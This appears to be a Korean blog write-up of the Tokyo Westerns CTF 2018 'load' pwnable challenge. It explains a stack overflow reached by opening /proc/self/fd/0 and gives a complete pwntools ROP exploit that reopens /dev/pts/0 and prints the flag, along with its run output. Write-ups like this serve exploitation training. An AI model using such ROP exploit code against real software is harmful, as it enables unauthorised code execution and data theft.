Category : pwnable
host : pwn1.chal.ctf.westerns.tokyo port : 34835 |
Summary : stack bof, close(0);close(1);close(2), open("/dev/pts/0", O_RDWR) = 0, 1
Stack BOF
|
size 제한이 없기 때문에, control 가능한 파일이 있다면 bof를 일으킬 수 있다.
"/proc/self/fd/0" 을 열면 0(stdin)으로부터 입력받는 것과 같은 효과.
read(0, stack, n) 하는 꼴이 되어서 간단하게 eip control 가능.
$ ./load
Load file Service
Input file name: /proc/self/fd/0
Input offset: 0
Input size: 1000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
..........................................
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Load file complete!
Segmentation fault (core dumped)
Closed fd
|
곱게 끝나지 않는다. fd 0, 1, 2를 싹 다 close 하기 때문에 이를 복구해줄 필요가 있다.
ROP로 open("/dev/pts/0", 2)를 2번 호출해주면 fd 0, 1을 복구 가능.
#!/usr/bin/python
from pwn import *
s = remote('pwn1.chal.ctf.westerns.tokyo', 34835)
#s = process('./load')
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
ru('Input file name: ')
s.sendline('/proc/self/fd/0'.ljust(0x10, '\x00')+'/dev/pts/0'.ljust(0x10, '\x00')+'/home/load/flag.txt'.ljust(0x20, '\x00'))
ru('Input offset: ')
s.sendline('0')
ru('Input size: ')
s.sendline('1000')
pop_rdi = 0x400a73
pop_rsi_r15 = 0x400a71
'''
0x0000000000400a73 : pop rdi ; ret
0x0000000000400a71 : pop rsi ; pop r15 ; ret
'''
name = 0x601040 + 0x10
flag_name = 0x601040 + 0x20
freespace = 0x601040 + 0x40
open_plt = 0x400710
puts_plt = 0x4006C0
read_file = 0x4008FD
pay = ''
pay += 'a' * 0x38
pay += p64(pop_rdi)
pay += p64(name)
pay += p64(pop_rsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(open_plt) # open("/dev/pts/0", O_RDWR) = 0
pay += p64(pop_rdi)
pay += p64(name)
pay += p64(pop_rsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(open_plt) # open("/dev/pts/0", O_RDWR) = 1
pay += p64(pop_rsi_r15)
pay += p64(flag_name)
pay += p64(0)
pay += p64(pop_rdi)
pay += p64(freespace)
pay += p64(read_file) # "/home/load/flag.txt into freespace"
pay += p64(pop_rdi)
pay += p64(freespace)
pay += p64(puts_plt)
ss(pay)
ru('Load file complete!')
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 34835: Done
[*] Switching to interactive mode
Load file complete!
TWCTF{????????????????????????}
Load file Service
Input file name: $
'CTF > 2018' 카테고리의 다른 글
Tokyo Western CTF 2018 - swap Returns (0) | 2018.09.03 |
---|---|
Tokyo Western CTF 2018 - Neighbor C (0) | 2018.09.03 |
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit) (0) | 2018.08.24 |
SECCON 2017 QUAL - secure_keymanager (0) | 2018.08.22 |
WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore) (0) | 2018.08.20 |